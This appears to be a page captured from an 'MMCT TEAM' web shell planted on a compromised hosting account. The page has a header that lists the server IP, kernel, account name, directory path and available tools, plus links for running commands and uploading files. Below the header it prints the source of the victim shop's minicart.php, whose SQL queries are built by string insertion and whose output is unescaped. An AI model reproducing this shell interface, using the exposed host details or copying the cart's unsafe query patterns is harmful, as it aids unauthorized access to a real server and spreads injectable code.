MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/agriba/includes/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/agriba/includes/-minicart.php
<?php 
    include'db-conn.inc.php';
  if(isset($_SESSION['rand']))
  {
      $cartkey = $_SESSION['rand'];
      // echo "<script>alert($cartkey);</script>";
    }
    else
    {
      if(isset($_SESSION['customer_phone']))
      {
            $customerid = $_SESSION['customer_id'];
            $sqls=mysqli_query($conn,"select * from tbl_order where customer_id='$customerid' and cart_status='0' ") or die(mysqli_query($conn));
            $rows =mysqli_fetch_assoc($sqls);
             $cartkey = $rows['order_id'];
       }
       else{
        $cartkey = "0";
       }

    }
   $total=0;
   $sqlc=mysqli_query($conn,"select * from tbl_order_details where order_id='$cartkey'") or die(mysqli_query($conn));
   $totalValue = mysqli_num_rows($sqlc);
   while($rowss =mysqli_fetch_assoc($sqlc))
   {
     $total += ($rowss['price'] * $rowss['quanitity']);
   }
?>
         <div class="cart-header">
            <div class="cart-total"><i class="fas fa-shopping-basket"></i><span>Total Item (<?php echo $totalValue; ?>)</span></div>
            <button class="cart-close"><i class="icofont-close"></i></button>
         </div>
     <ul class="cart-list">
        <?php

                           $total=0;
                            $sqlmini=mysqli_query($conn,"select product_id,quanitity,price,id,sku,size,unit from tbl_order_details where order_id='$cartkey'") or die(mysqli_query($conn));
                             while($rwmini=mysqli_fetch_assoc($sqlmini))
                           {  
                              $getid=$rwmini['id']; 
                              $getquantity=$rwmini['quanitity'];
                              $getproduct_id=$rwmini['product_id'];
                              $getprice=$rwmini['price'];
                              $totalproductamount = $getprice * $getquantity;
                              $total +=$totalproductamount;
                               $size=$rwmini['size'];
                              $unit=$rwmini['unit'];
                              $sku=$rwmini['sku'];

                              $sqlmini2=mysqli_query($conn,"select productname,thumb1 from tbl_product where productid='$getproduct_id'") or die(mysqli_query($conn));
                              $rwmini2=mysqli_fetch_assoc($sqlmini2);
                              $productname=$rwmini2['productname'];
                              $productimage=$rwmini2['thumb1'];
                              

                        ?> 
            <li class="cart-item">
               <div class="cart-media"><a href="#"><img src="media/product/thumb/<?php echo $productimage;?>" style="width: 100px;border: 1px solid lightgrey;border-radius: 7px;" alt="product"></a><button class="cart-delete removecart" itemid="<?php echo $getid;?>"><i class="far fa-trash-alt"></i></button></div>
               <div class="cart-info-group">
                  <div class="cart-info">
                     <h6><a href=""><?php echo $productname; ?></a></h6>
                     <?php 
                            if($size=='0')
                            {
    
                            }
                            else
                            {
                                 echo "<p style='font-size:12px'>$unit $size</p>";
                            }
                     ?>
                     <p style="font-size:12px"><?php echo $getquantity; ?> X 
                        ₹ <?php echo $getprice; ?></p>
                  </div>
                  <div class="cart-action-group">
                     <div class="product-action"></div>
                     <h6>   ₹ <?php echo $totalproductamount; ?></h6>
                  </div>
               </div>
            </li>
 <?php } ?>
         </ul>
         <div class="cart-footer">

             <?php if(isset($_SESSION['customer_email'])){
               ?>
               <a class="cart-checkout-btn" href="checkout.php"><span class="checkout-label">Proceed to Checkout</span><span class="checkout-price">₹ <?php echo $total; ?></span></a>
          <?php   }
             else{ ?>

 <a class="cart-checkout-btn" href="login.php"><span class="checkout-label">Proceed to Checkout</span><span class="checkout-price" style="width: 150px !important;"> ₹ <?php echo $total; ?></span></a>
         <?php   }
             ?>
           
         </div>

   <script src="js/newcustom.js"></script>  
     <script>
    // $(".cart-close").on("click",(function(){$("body").css("overflow","inherit");
</script> 

MMCT - 2023